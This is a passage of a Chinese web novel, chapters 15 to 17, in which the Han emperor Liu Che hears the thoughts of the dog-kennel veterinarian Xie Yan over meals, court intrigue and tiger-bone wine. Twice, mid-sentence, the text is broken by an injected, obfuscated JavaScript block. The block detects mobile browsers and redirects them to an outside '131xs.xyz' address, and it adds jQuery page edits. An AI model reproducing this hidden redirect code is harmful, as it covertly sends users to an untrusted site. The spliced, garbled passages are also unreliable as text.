“爱犬之人见不得犬消瘦。最迟三日,武安侯府一定会来找你们买肉。”谢晏注意到他神色不安,“他若不来,你去建章园林出口等皇帝。” 殊不知,皇帝此刻在狗舍等他。 15.谢晏想杀人 去年刘彻推行新政,得罪了许多老臣。 当日担任丞相的窦婴和太尉田蚡支持刘彻。 坊间传言太皇太后认为刘彻少不更事,新政是他二人撺掇,气得罢黜两人。从此田蚡和窦婴闲居家中。 今年春黄河泛滥,需要朝廷赈灾,刘彻趁机把他亲舅提上来。然而田蚡就是这么不中用。 一朝得势又暴露出贪婪的本性。 两个月前,刘彻令韩嫣根据田蚡赈灾的足迹详查。 田蚡没叫韩嫣白跑一趟。 可是在刘彻看来,贪污事小,谋逆之心事大。 偏偏只有市井传言,没有证据。 是以前几日刘彻就救灾一事在王太后面前大做文章。 什么民不聊生定会揭竿而起,什么他因无子,各地藩王虎视眈眈,倘若真有灾民起事,刘姓王爷们一定不会放过这次机会。 舅舅为官多年,不可能不知道孰轻孰重。可是舅舅依然这样做,他是不是想换个外甥当皇帝。 王太后骂皇帝胡说八道。 田蚡心虚,吓得面无血色。 刘彻存着试探的心思,看到田蚡的样子,窗外洒进殿内的秋阳也无法温暖刘彻冰冷的躯体。 幸而刘彻早有心理准备,没叫二人看出分毫。 刘彻缓一会儿,在王太后看来他是在平复怒气。刘彻便问他母后,他该如何是好。 王太后指着田蚡骂他不争气,令田蚡闭门思过不许再干涉朝中政务,又令田蚡把贪的钱都吐出来。刘彻依然不满,王太后又叫田蚡交罚金。 这才有了张屠夫所言“罚去大半家产”。 淮南王的人在暗处,刘彻担心打草惊蛇,自然不能大张旗鼓搜查。 刘彻没能抓到蜷缩在长安的淮南王细作,又没能把他舅给砍了,恨不得睁只眼睡觉。 虽然刘彻通过谢晏猜到许多事,可是现在变了。 谢晏前世这个时候他肯定不知道田蚡同淮南王勾勾连连。 刘彻担心罚了田蚡,牵一发而动全身,连着几日心情烦躁,便想听听淮南王何时反,如何谋反。 刘彻没有顺风耳,自然不知道千里之外窝在淮南国的淮南王怎么想的。因此他想到了谢晏。 谢晏回到狗舍看到拴在门外果树下的马只觉得眼前一黑:“他怎么又来了?” 李三也不想看到皇帝,盖因每次皇帝过来,他就要去狗窝用饭。 “还不是你做的饭越来越香。”李三有点怀念以前,“要是跟几个月前似的,一只烤鸭糊了一半,陛下肯定能不来则不来。” 谢晏:“那我回头就这么做?” “别!”李三慌忙说,“当我没说。” 谢晏担心食物中毒,李三同样有此顾虑,“罢了,罢了,先进去看看陛下找你何事。”顿了顿,“也不一定是来用饭。御厨拿到你的食谱,肯定比你做得好。” 谢晏挑眉,再说一句试试! “人家的刀工比你好吧?你砍鸡跟杀人似的。再说,人家做了几十年饭菜,用盐用油肯定比你精准。”李三想了想,“你的饭菜只有味,人家御厨做的绝对是色香味俱全。” 谢晏:“中秋那天我做的酥饼,不是色香味俱全?” “不够圆!”李三拉着驴车进院。 谢晏白了他一眼越过他,不帮他卸货。 卫青听到动静从室内出来,给李三搭把手。 谢晏进屋,看到皇帝便弯腰行礼。 刘彻微微颔首,点点面前方几。 谢晏奇怪。 [什么玩意?] [你来蹭吃蹭喝,不带些鸡鱼肉蛋也就罢了,竟然给我带几根骨头?] [我是狗官,不是狗!] 谢晏气得眼睛直了。 刘彻莫名想笑:“胡思乱想什么。这是虎骨。” 春望也看出谢晏想岔了:“小谢先生,前几日南边有猛虎出没伤人。百姓报到京兆府,巡城兵马帮忙抓到一只,打死两只,这是其中一只虎骨。” 谢晏松了一口气,继而不解:“给我做什么?” “太医说虎骨可以酿酒。你不需要?”春望奇怪,“你不是也懂医术?” 谢晏张张口:“——我是兽医!” 刘彻:“春望,收起来!” “别啊!”谢晏抢回去,这可是好东西,搁前世需要拿命换,“微臣现在不懂,但微臣可以学。” 刘彻:“谁说的,懂得越多越辛苦?” “他——”谢晏想骂那个建章卫,可是转念一想,皇帝问起他的事,建章卫也不敢不如实回答,“谁呀?怎么能这么说?这觉悟也太低了。” 刘彻冷笑,“朕去狗舍看看。” 谢晏脱口道:“您不——” 刘彻转身。 谢晏慌忙把后半句咽回去:“微臣想问,您晚上吃点什么。” “做你擅长的。”刘彻披着斗篷出去。 谢晏嫌弃地翻白眼。 [我擅长毒死你!] 刘彻脚步一顿,抬眼看到卫青从庖厨出来,瞬时想起谢晏心里对卫青的推崇,心想说,看在卫青的面上,你也不舍得毒死朕。 如今谢晏是不敢毒死刘彻。 要毒死他,怎么也要再等三十年。 话又说回来,就算刘彻不吃,谢晏也要做饭。 谢晏感觉自己长个了,胃跟无底洞似的,比四年前还不经饿。 拿掉斗篷,谢晏卷起衣袖去厨房。 谢晏坐到灶前烧火,令一个同僚熬猪油,一个同僚炖羊肉。 羊肉放入锅中,这位同僚闲下来,谢晏就叫他和两盆面。 皇帝在此,谢晏不敢给他吃全麦面,是以两盆面都是白面。 一盆面擀面条,另一盆面包包子。 谢晏仍然没有学会包包子。但经过他“指点”,熬猪油的同僚学会了。 同僚在他的指点下调两盆馅料,一盆是冻豆腐猪油渣,一份是萝卜猪油渣。 两份馅料包完就放在羊肉汤上蒸包子。 包子蒸熟,笼屉拿下来,谢晏先盛出两盆羊肉,把面条放入锅中,不想吃面条的人可以喝羊肉汤就包子。 天寒地冻,杨得意不想把饭菜端到狗窝,便在厨房用饭。 谢晏和卫青陪皇帝在堂屋用饭。 刘彻不知是良心发现,还是脑袋被马蹄子蹬了,竟然允许春望上桌。 他如此反常,春望很是不安。 谢晏看不下去,叫春望去厨房找杨得意。 刘彻颇为不满地哼一声。 卫青把羊排递过去:“陛下,尝尝羊肉。” 刘彻瞥一眼卫青:“朕还能砍了他?看给你急的。” 卫青心说,我表现的这么明显吗。 谢晏看着刘彻一口包子一口面,估计在刘彻吃腻了他做的饭之前,他不会有现性命之忧。前提他别学田蚡找死。 谢晏递给卫青个包子:“陛下乃当今天子,宽仁爱人,哪会因为一言不合就把我砍了。陛下要是这个性子,那个叫汲黯的,是叫这个名吧。不知道死多少次了。” 刘彻挺意外,他以为谢晏只认识他身边近臣:“你知道汲黯?” 谢晏:“微臣好歹在宫中三年。偶然听说一句,也知道朝中都有哪些人。” [可惜是个绝世大杠精!] 刘彻眉心一动:“汲黯能被你记住,想必有过人之处。” 卫青看过来,很是好奇。 谢晏好笑。 刘彻故作好奇:“朕说错了?” 谢晏不知从何说起,因为他所知道的都是前几年在宫里听说的,不保真:“听说有一次朝会上,陛下意气风发,指点江山,对着贤臣能吏说日后要如何如何。汲黯说你装出一副仁义明君的样子,其实心里想法极多,这辈子也不可能达到唐尧虞舜的程度。陛下险些气晕过去?” 刘彻没好气道:“你可真会举例!” “若是微臣,微臣就不生气,微臣会反驳,从未想过达到那种高度。您的目的是驱除匈奴,边关百姓从此可以安居乐业。”谢晏笑着说,“也可以说,因为你手下没有皋陶、伯益等人。汲黯但凡是其中一人,唐尧虞舜的高度,陛下也未尝不可。” 刘彻眼中一亮。 谢晏:“陛下若是汲黯,会如何应对?” 卫青看向刘彻。 刘彻:“想说什么说什么。朕跟你说过不下三次!” 卫青直言:“他想必会说,贤明的君王才有贤明的臣下。” 谢晏:“那你汲黯是奸佞小人吗?” 卫青张张口:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202362|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是较真吧?” 谢晏:“陛下只是畅想一下未来,汲黯就扯什么唐尧虞舜,他不是吗?许他同陛下较劲,陛下不能较真?没有这样的道理!” 刘彻不禁点头。 “再说了,陛下才多大?他怎知陛下三十年后不能达到唐尧虞舜的高度?唐尧虞舜也不是生来就无所不知,有识人之明。谁不是慢慢成长的。”谢晏看向卫青,“四年前你想过自己懂兵法吗?若是四年前,你在汲黯面前说希望有机会征战沙场。他也会说,就你?也配!” 卫青神色骤变,很是难堪。 刘彻乐了:“仲卿,可以理解当日朕为何生气?他就差没有明说,就你,也配!” 谢晏又给卫青夹一块羊肉:“吃肉,吃肉,聊他作甚。” 刘彻:“朕听韩嫣说前几日在城门口碰到你,你说他赶着去投胎?” [这个奸佞,居然吹枕边风!] 刘彻呼吸一顿,后悔提这茬。 谢晏:“微臣可以解释。城门口那么多人,他也不看路,闷头往前跑,虽然微臣躲过去了,不等于其他人也能躲过去。若是被坊间百姓知道他是韩大人,天子近臣,又见他如此嚣张跋扈,定会认为陛下您是个亲小人的昏君。” “百姓没有你这么闲。再说了,韩嫣那么着急情有可原。”刘彻没有听到想听到的有些失望。 [屁个情有可原!] [又不是天塌了!] [给自己姘头找借口,也走点心!] 刘彻扶额,虽然没太听懂,但绝不是好话,不禁轻咳一声:“你想必也听说了,武安侯被朕罚去大半家产。你可知为何?” 谢晏:“贪污?” 刘彻摇摇头:“又不是第一次。朕听东方朔说,前两年淮南王来京,武安侯曾偷偷拜访过淮南王。” 谢晏吃惊。 [原来皇帝这么早就知道了?] [怎么不收拾淮南王?难道没证据?] [听说淮南王优柔寡断,如今可能只是有这个心思,还没有行动。] [好像后来想动手,又因为卫青战功赫赫,淮南王怕他,结果人都没出淮南王宫!] 谢晏越想越无语。 [好好编书研究他的丹药不好吗。] [瞎折腾什么啊。最终只害了自己和家人!] 刘彻心底诧异,合着淮南王有贼心没贼胆啊。 卫青很是担忧:“陛下,武安侯和淮南王何意?” 刘彻:“还不是因为朕无儿无女,他们生出别的心思。” 卫青:“如今如何是好?” “武安侯经过这次的事能安分一些时日。”刘彻突然想起一件事,“说到他,朕先前都忘了,先帝在世时七王祸乱,多好的机会,他都错过了。如今他难成气候,不足为虑!” 谢晏不禁点头。 [书生谋反,十年不成!] 刘彻心里踏实了,指着包子:“食谱给春望一份。” 谢晏:“猪油渣,冻豆腐,您吃这些?” 刘彻挑眉:“朕不止一次说过,鲍参翅肚吃腻了,也想尝尝清粥小菜。” 卫青连声附和:“陛下说的是。阿晏,待会你来说,我来写!” 刘彻满意地点点头:“你看看仲卿,再看看你。你要有仲卿一半明理,何至于如今还只是个啬夫!” 谢晏张口结舌。 [他娘的,我是什么,还不是你个狗皇帝一句话的事!] “咳!”刘彻差点呛死。 谢晏乐了。 [活该!] 卫青赶忙提醒:“陛下,慢点。” 刘彻抬抬手:“谢晏,朕给你个机会。” 谢晏神色错愕。 [他又想干什么?] 刘彻喝口汤润润喉:“朕忘了你比仲卿小两岁,医术是自学的,只懂皮毛。贸然把你提上来,你会被世人误认为是奸佞。从明日起,每日下午跟在建章的太医学一个时辰。不过在此之前,你必须先背会《内经》。以防太医一问三不知,给朕丢脸!” [我是不是杀过你全家?] 谢晏深吸气,还是忍不住咬牙切齿:“陛下,有个问题,臣不知当问不当问。” “既然不知道就别问了。”刘彻指着菜,“用饭,快凉了!” 16.恩将仇报 谢晏胃疼,被刘彻个狗皇帝气的。 眼瞅着刘彻吃饱喝足,拍拍屁股潇洒走人,谢晏再也忍不住,朝门上踹一脚。 卫青听到动静回头看去,谢晏抱着脚单腿跳起来:“阿晏怎么了?” 刘彻忍着笑说:“自己跟自己玩呢。小孩子心性,不必担心。” 卫青还是有些担心:“陛下,先前阿晏想问什么?您不叫他问,臣觉得阿晏挺失望。” 刘彻心想说,他要杀了朕全家,朕敢叫他问吗。 “一天天不是想着吃就是想着玩。他能有什么问题?”刘彻信口胡诌,“不是想去秦岭找虎,就是想问问巡城兵马抓的那只虎在何处。也许不想学医,变着法的求朕把话收回去。” 卫青:“阿晏喜欢给牲畜看病。” 刘彻嗤之以鼻:“不思进取!不学无术!不是你说教他骑射功夫,他百般推辞?就该叫他动起来!” 对于谢晏什么都不想学这一点,卫青无法理解,也希望谢晏有武艺傍身,即便不妨人,也可以防野兽。 “改日微臣再劝劝他?” 刘彻确定淮南王不敢动,心情轻松许多,“此事你自己决定。”指着他手中食谱,“回头抄一份。春望,给卫夫人送去。” 春望应一声“喏”,便问:“回去?” 积雪太深,刘彻也不想四处游荡,微微颔首,上马回建章寝宫。 杨得意听到马蹄声远去,从厨房出来。谢晏杀气腾腾的样子令杨得意脚步一顿,很是好奇,“陛下又怎么你了?” 谢晏气不打一处来,“他令我尽快背会《内经》,每日下午到太医处学医。你说,有他这么恩将仇报的吗?早知道那些吃的喝的,喂狗都不喂他!” 大逆不道! 杨得意懒得数落他,因为说了也不会改,他只能无奈地摇了摇头。 谢晏此刻这样,杨得意也不意外。 谢晏自由散漫惯了,又喜欢率性而为,最受不了拘束。 皇帝的命令只会叫他心生反感。 杨得意:“可以在宫里当差且近身伺候陛下的太医,哪个不是当世名医。陛下叫你跟他们学,也是为了你着想。” 谢晏:“我爹给我留的钱,足够我混吃等死一辈子。何况我也没有吃饱等饿。既然不愁吃喝,何必让自己过得那么辛苦?” 杨得意料到他会这样说:“好男儿应当建功立业,名扬天下!” “我不是好男儿!”谢晏道。 杨得意噎住:“——你敢不去吗?” 谢晏气得又朝门上踹一脚,瞬时痛的跳脚。 杨得意又好笑又好气。 “不去!”谢晏朝刘彻消失的方向哼一声,“有本事杀了我!最好灭我三族!” 杨得意心慌。 冷不丁想起谢经曾说过,他的族人不是人,逼得小小年纪的谢晏跳河。 杨得意也不舍得再劝:“我看你巴不得陛下灭谢家三族!” “对!”谢晏出去。 杨得意:“干什么去?” 谢晏回来,拿走斗篷:“找个地方吊死!” “又说傻话。”谢晏真想死,只会无声无息地去死。现在怒气腾腾的样子,估计要去雪地里发泄出来。杨得意提醒他在外面玩一会就回来,天气寒冷,容易着凉。 谢晏充耳不闻。 赵大从厨房出来:“杨公公,我过去看着他?” “不必。别看这小子比我们小那么多,心如明镜。先让他一个人待会儿。”杨得意说着话,不禁叹了口气,“卫青和陛下真是——前者叫他学骑射功夫,后者叫他学医。他是狗舍兽医,平日里还要做饭,是想累死他吗?也不看看阿晏才几岁!真不知道这姐夫和小舅子怎么想的。” 赵大:“陛下兴许是随口一说。这里离寝宫将近二里路,阿晏哪有时间天天过去。再说了,他不想学,就是把他送到太医身边,他也可以左耳进右耳出。这个道理陛下不会不懂,想来不会逼他妥协。” 杨得意点点头,再想想自己在皇帝面前也有几分薄面,大不了届时帮谢晏求情,“我去狗舍看看。” 赵大:“虎骨怎么办?” 杨得意不会用虎骨酿酒:“放在用饭的方几上。阿晏气性大,但不过夜。明早看到虎骨,定会兴致勃勃地搬出医书琢磨。” 这一点被杨得意说中了。 谢晏气得睡前连食谱都懒得看。 一觉醒来,昨日的不愉快被他留在昨日。 到正房看到用布包裹的虎骨,谢晏回房翻出医书,从医书上找到,虎骨用火烤酥后捣碎同糯米混合酿酒。 可惜还需要黄酒和酒曲,但狗舍没有。 谢晏决定早饭后进城买黄酒和糯米。 先前刘彻送的糯米只剩一点,最多搅拌半根虎骨。 谢晏想起一件事,到厨房门口就问:“虎死了应该有虎皮吧?” 准备早饭的两人愣了一瞬,其中一人问:“陛下给你一副虎骨,你还不知足,还想要虎皮?” “陛下穿着熊瞎子皮,太后、皇后和卫夫人等贵人用的肯定是狐狸皮,他留着虎皮也没人用。不如给我。”谢晏越说越觉得有道理,“那只虎也算死得其所。” 李三从茅房回来:“你穿得出去?还是你会用虎皮做斗篷?” 谢晏看看自己的手,只帮他奶奶穿过针线,“忘了,我是兽医,不是织女!” 李三:“泡虎骨是不是需要酒?饭后我和你一块去。” 谢晏点头:“找杨得意拿钱!” “杨得意是你叫的?”杨得意牵着两头猎犬进院。 谢晏抬手指着李三:“跟他学的!” 李三愣了愣神,抬腿给他一脚。 早有防备的谢晏闪身进厨房。 早饭后,二人进城先买酒和酒曲。 准备买点肉就回去,谢晏看到卖柿子和山楂的,随即想想园中应该不缺这两样,就买两个大冬瓜和几十斤萝卜。 期间碰到个卖枸杞子的,谢晏又买几斤枸杞。 谢晏分析过卫青和霍去病短命的原因,太医指望不上。既然学医无用,又因他未想过青史留名,也没有想过成为当世名医,那他何必花时间钻研医术。 不如多琢磨些吃食把舅甥二人养得壮壮的,给他们打好基础,日后才不至于出征一次减寿十年。 若是霍去病跟传言一样受伤感染而亡,他更不应该把时间浪费在针灸上,应当把废物空间里头的书仔细看一遍,找出青霉素的提取办法。 - 午后,谢晏把枸杞捣烂同米和酒曲一同入坛,便和上午做的虎骨酒放到一处。虎骨酒治骨节疼痛,枸杞酒可以补虚弱益精气,适合日后的卫青。 谢晏叮嘱几次,不许碰他的酒,就推着独轮小车出去。 赵大发现车上有木棍和篮子,估计他去摘什么,便同他一起。 二里外,太医找到在书房处理奏报的皇帝:“陛下说的那位小谢公子,怎么还没过来?是不是路上被什么事耽搁了?” 刘彻看一下漏刻,再过一刻就申时了。 如今昼短夜长,再过一个时辰天就黑了。 此时不来,怕是不来了。 刘彻揉着额角暗骂,这个短命鬼! “朕忘了叫人告诉你,上午他学骑射摔倒了。此事日后再说。”刘彻抬抬手,“忙你的去吧。” 太医退下。 韩嫣把整理好的奏表递过去:“这么巧?” “巧个屁!他就没打算来!”刘彻气得朱笔往御案上一扔,“他这是仗着没爹没娘,不怕被朕抄家灭族!” 韩嫣想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210121|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在蜀郡查到的事:“兴许巴不得您灭他九族!” 刘彻也想到了:“他——等着吧。” 忽然想起谢晏腹诽过,王太后不会放过韩嫣:“日后你在建章,不必再进宫。” 韩嫣的笑容凝固。 刘彻没法解释他的担忧:“朕准备再挑几人,这些人不懂兵法,对匈奴知之甚少,以前你查过匈奴,由你教他们。”又担心韩嫣把人教歪,“改日朕再挑几个教官,你只管教你懂的。” 韩嫣听闻此话意识到皇帝要对他委以重任,又重拾笑脸:“陛下打算令谁为教官?” 刘彻率先想到李广,在本朝武将中他名气最大,在边关那几年也同匈奴交过手。可是涉及到卫青,刘彻不得不慎重。 大将军要被他教没了,谢晏真敢毒死他。 刘彻:“朕还没考虑清楚,你先在此盯着。子夫的身子愈发笨重,明日朕回宫看看。不然心里总是不踏实。” 韩嫣很清楚刘彻是皇帝他才有如今地位。韩嫣自然希望卫子夫可以平安诞下皇子。 “陛下尽管回去,臣这几日住在建章。” 翌日上午,刘彻见到卫子夫之前先看到一个小不点。 霍去病朝刘彻跑去:“陛下!” 刘彻顺手抱起他:“上次对朕这么亲,还是想叫朕带你去建章。这次又是为何?” 卫子夫笑着说:“这次也是。先前见着妾身,就问妾身有没有去过建章,有没有见过许多狗狗,有没有吃过他晏兄做的桂花蜜。” 小孩羞得小脸微红。 刘彻正好有事找谢晏,带着小孩过去借口都省了:“准了。” 卫母有些担忧:“会不会耽误那位谢公子做事?” “不会!”刘彻抱着小孩在卫子夫身边坐下,“狗舍不止他一人。去病可以跟着杨得意,也可以跟着赵大等人。” 小不点为了去建章,毫不犹豫地使劲点头。 刘彻见他这样想笑:“今晚在宫里住一夜,明天上午跟朕过去?” 小不点再次点头。 卫子夫令女官给外甥收拾一间卧室出来。 翌日上午,巳时左右,皇帝带着小不点抵达犬舍。 小不点被春望抱下车就大喊:“晏兄!” 谢晏从院里出来,看到随后下来的皇帝,不禁冷笑一声。 刘彻装没看见:“去病,慢点。” 谢晏抱起扑上来的小不点:“来的真巧!” 小孩眼中一亮:“烤鸭?” 谢晏:“没有烤鸭!” 小孩好失望。 谢晏抱着他进院。 院里摆放着四个方几,方几上面摆满了冬瓜、柿子、山楂、萝卜等物。 刘彻停在门外,朝姗姗来迟的杨得意看去:“狗舍有什么喜事?” “不是办喜宴。”杨得意无语又想笑,“冬瓜和萝卜是阿晏买的。他忘了狗舍另一边菜园子里就有这些。可是买都买了,也不能喂猪。阿晏要把冬瓜做成冬瓜条,萝卜做成萝卜干。” 春望指着柿子:“不像买的。” 杨得意点头:“在果园边上摘的。山楂也是。厨下还捡了几十斤板栗。阿晏正要削柿子皮做柿饼。” 春望感到口齿生津,不禁感叹:“陛下,来的真巧!” 刘彻失笑:“难怪看到朕鼻子不是鼻子脸不是脸!”大步进院,“告诉膳房,朕晌午在狗舍用饭。”顿了顿,“狗舍二字不好,改日朕在旁边修个——犬台宫!给谢晏准备个大厨房,再准备两间兽医室。就这么决定了。” 谢晏朝自说自话的皇帝看一眼。 [谁问你了?] [你看有人理你吗?] 没人搭理刘彻,刘彻尴尬了一瞬间,又觉得他是皇帝,旁人只有听命行事的资格,他有什么可尴尬。 17.刘彻得女 刘彻抄着手来到谢晏身边。 谢晏的两个同僚顿时不敢用刀。 谢晏叹气:“陛下,您有事没事?” “朕在这里看看都不行?谢晏,你要知道,普天之下,莫非王土!”刘彻没好气地提醒。 谢晏朝同僚瞥一眼。 刘彻看过去,有点尴尬,轻咳一声掩饰过去,令二人去厨房切萝卜和冬瓜。 谢晏把柿子和刀推给春望。 春望难以置信地指着自己:“我?” “想不想吃山楂糕?”谢晏双手一摊,“我只有一双手。” 春望听出他言外之意,只能去削柿子皮。 谢晏找块干净的布把山楂上的水擦干净,把果核、果柄一一去除。 刘彻看到活这么慢,不知道猴年马月才能吃到山楂糕,他便领着小霍去病去狗窝。他选个猎犬,给小孩选个温顺的看门狗,带着随他从宫里出来的禁卫寻找埋在雪地里的野物。 大半个时辰过去,谢晏起来活动活动筋骨,点着草棚下的灶,在铜锅中倒入十斤水。 水煮沸后加入二十斤山楂果。 这年月没有冰糖,谢晏选择用麦芽糖。 果肉煮烂捞出,谢晏用石臼捣成泥回锅再煮。 谢晏本想加点白矾,可以使得山楂糕更加凝固。转念一想,又不是拿去卖,小霍去病才四岁,还是少摄入这东西为好,今日就没进城买白矾。 山楂糕倒入早已准备好的盘中,谢晏开始做山楂膏。 山楂糕的山楂和水是二比一,山楂膏的山楂和水是一比三,是以不能一锅出。 随着山楂膏装坛,谢晏昨日买的糖用掉一半。 期间,谢晏把萝卜条移到院中,晒去水分才可以做萝卜干。又帮助同僚把冬瓜条倒入石灰中浸泡,晚上做冬瓜干。 谢晏把山楂膏和山楂糕移到正房,意识到天色不早,该准备午饭了。 到院中,谢晏看向还在削柿皮的春望,“陛下晌午吃什么?” 春望:“我哪知道。你问陛下。” “懒得问!”谢晏一甩衣袖,“我做什么他吃什么!”说完朝外走去。 春望看向收拾果皮等物的两人,“他干什么去?” 二人摇摇头。 春望看看还有几十个柿子等着他,起来又坐回去,叹气:“吃他一顿饭是真难!” 谢晏没有乱跑,他去了狗窝后面的鸡窝,抓一只公鸡。 大公鸡兴许意识到命不久矣,在谢晏手中拼命挣扎。 谢晏朝公鸡脑门上一巴掌:“不是我要吃你,是皇帝要吃你。你要报仇就找皇帝,别找我!” 刘彻脚步一顿,停在狗窝门外,看着不远处的谢晏,神色堪称一言难尽。 拎着野鸡野兔子的禁卫们有的面面相觑,有的满脸担忧。 谁知刘彻抬手把狗绳扔给禁卫,抱起小不点去宿舍。 “晏兄!”小孩指着谢晏。 谢晏看过来,心惊肉跳,皇帝没听见吧。 刘彻今年才二十岁,耳不聋眼不花,怎么可能毫无察觉。 “公鸡咬人。”刘彻半真半假地哄孩子,“我们去宿舍等他。” 禁卫们互相看一下,陛下真没听见吗?不可能!若是听到了,他装听不见,说明什么?陛下待他不同。 看来日后不能再把谢晏当成一个小小的狗官。 谢晏松了一口气,庆幸他没听见,又暗暗提醒自己,日后只能在心里吐槽,千万不可以说出口。 祸从口出! 回到宿舍,谢晏叫一个同僚和面,一个同僚剥板栗。 早上谢晏教过同僚,板栗毛皮用热水泡过容易去除,所以同僚剥外壳,他去烧水。 热水盛出一半泡板栗,另一半继续烧,直至沸腾,杀鸡脱毛。 杨得意会用刀,给兔子剥皮。 食材备好,谢晏在草棚下做饭,一锅炖着野鸡和菜,一锅炖着公鸡和板栗。兔肉切丁,在鏊子上炒兔丁。 得知刘彻可以吃辣,谢晏放一点茱萸酱。 最后又用豆酱做两碗小葱炒酱。 厨房也没闲着,做两锅死面粑粑,一锅鸡蛋汤。 饭菜做好,谢晏只取五分之一和一张浸满公鸡汤汁的面饼。 霍去病喜欢吃盖在板栗炖鸡上的面饼,也喜欢吃板栗,谢晏给他挑一碗肉和菜,小孩埋头苦干,跟饿了半年似的。 刘彻皱眉:“你不是把食谱给他母亲了吗?去病,家里谁做饭?” 小孩抬头:“祖母和阿娘。” 刘彻:“有没有做过小鸡?” 小孩点点头,又摇摇头:“不好吃。” 谢晏:“鸡肉老了柴了,或者腥味重吧。” 小孩点点头又摇摇头。 谢晏:“是不是无法形容啊?那就不说。若是没吃够,明天还做。” 小孩慢下来,想起少一人:“舅舅呢?” 刘彻精神一振:“你舅要习武读书。”朝谢晏看去,“朕叫韩嫣教他读书。” [也不怕韩嫣把他教歪了。] 谢晏:“识字?” 刘彻想说什么又咽回去:“他有很多字不认识,先识字。” [只是识字还行。] 谢晏放心下来:“韩大人出身世家,由他教仲卿,是仲卿的福气。” 刘彻心中冷笑,朕要说不止,你指定不这样说。 想起重点,刘彻又说:“朕打算叫李广教他骑射兵法。” “咳!” 谢晏被鸡骨头呛着。 刘彻张口结舌。 不是,他至于吗? 难不成李广还不如韩嫣? 刘彻感到匪夷所思。 谢晏一边咳一边打量刘彻的神色。 [不是认真的吧?] [李广懂个屁兵法?] [军纪宽松,爱兵如子,名声好听,一旦遇到敌袭就是一盘散沙!他靠个人能力突出来,其他人全死了!] [关键他还迷路!] 谢晏越想越心慌,神色都变了。 刘彻第一次在谢晏脸上看到恐慌。 “李广带兵多年,你不信他能教好仲卿?”刘彻故意问。 谢晏不知从何说起。 [李广此人仗着出身名门,向来看不起贫民和贱籍。] [他教卫青得把卫青贬的一无是处!] [偏偏这人心胸狭隘,一丁点小事能记恨十年!] [最可恶的事他还诱降杀降。] [如今边关匈奴人谁不知道他阴险!] [他日卫青出兵需要匈奴向导,匈奴要知道他师从李广,不得故意把他带到匈奴包围圈!] 谢晏越想越不安:“李老将军教仲卿,是不是有点杀鸡用牛刀?” 刘彻庆幸他没有自作主张:“仲卿如今对兵法谋略只知一二,现在叫李广教他,是有点大材小用。” 谢晏松了一口气:“陛下何不亲自教他?” 刘彻挑眉。 此话何意?大将军是他教出来的? 刘彻不敢信,他有这本事? 要是这样,他可就不客气了。 “朕上面有太皇太后盯着,什么事都做不成,一日闲半日,倒是可以亲自教他。” 谢晏立刻说:“陛下博闻强识,弓马娴熟,您教仲卿再好不过。” 端的怕慢一点,刘彻又有别的想法。 刘彻心里美了:“朕是比韩嫣、李广懂得多。” 谢晏张张口。 [我是这个意思吗?] [见过厚颜无耻的,没有见过这么往脸上贴金的。] 刘彻轻咳一声:“去病,慢点吃。” 小孩抬起头,脸上除了油渍还有一块鸡皮。 谢晏又给他挑一块鸡腿肉:“骨头不可以吃啊。” 小孩点头。 谢晏给他盛半碗鸡蛋汤:“渴了就喝汤。” “晏兄,你吃!”小孩指着他的琬,“凉了。” 谢晏点点头:“吃着呢。” 饭后,山楂糕凝固,谢晏找出小碟,给每人切一块。 酸甜可口,小霍去病喜欢,吃完一块还要。 谢晏:“舅舅以前怎么说的?不可以可着一样吃到饱。今日吃没了,明日还吃不吃?” 小孩眼珠一转:“明日不可以再做吗?” 谢晏:“你去厨房看看还有没有红果果。” 小孩跑到厨房,没有找到山楂果。 回到正房,小孩抓着谢晏的手,闭着眼睛冲春望摆手:“拿走!拿走!快快拿走!” 刘彻乐不可支,又给他切一块:“最后一块。你晌午吃了许多肉和饼,再吃会撑得肚子疼。” “谢谢陛下。”小孩抱着碟子慢慢品尝。 谢晏摸摸他的发顶:“晚上还有冬瓜。此刻吃多了,晚上吃不下去,你只能眼睁睁看着我们吃。” 小孩闻言不再馋山楂糕,又想起他二舅。 谢晏找个带盖的汤碗盛一碗交给春望,春望随刘彻回到寝宫,便给卫青送去。 春望从卫青宿舍回来,刘彻令春望使人去卫家一趟,告诉卫家一门,他留小霍去病在建章住到除夕。 卫家给小孩收拾一包衣物。 春望亲自送到狗舍,同时还送一本论语,一套笔墨和一件虎皮斗篷一顶虎皮帽一双虎皮靴。 春望不放心,问道:“小谢先生,您知道陛下何意吧?” 谢晏:“不能只教他吃喝玩乐,还要教他读书写字。” 春望放心回去复命。 傍晚,卫青听说此事,不好意思叫谢晏帮他养外甥,饭后策马前来狗舍,给大外甥洗脸洗脚。 小霍去病把珍藏的糖葫芦拿出来。 谢晏傍晚做冬瓜条的时候顺手做的。 山楂自然还有,只是被李三藏到厨柜中——担心被老鼠祸害。 小孩看到卫青咬一个,跟自己吃到一样开心,双眼亮亮地仰头问:“舅舅,好不好吃?” 卫青点点头:“舅舅放柜子里,留你明天吃?” “再吃一个。”小孩踮起脚推着他的手。 卫青又尝一个就带着他去漱口睡觉。 翌日清晨,卫青返回校场。 一个多月过去,从校场到狗舍这段路被卫青踏平,朝廷放假,卫青抱着大外甥骑马回城过节。 刘彻也收拾收拾搬回未央宫。 谢晏和同僚进城准备年货。 天气寒冷,无需担心肉买多了坏掉。 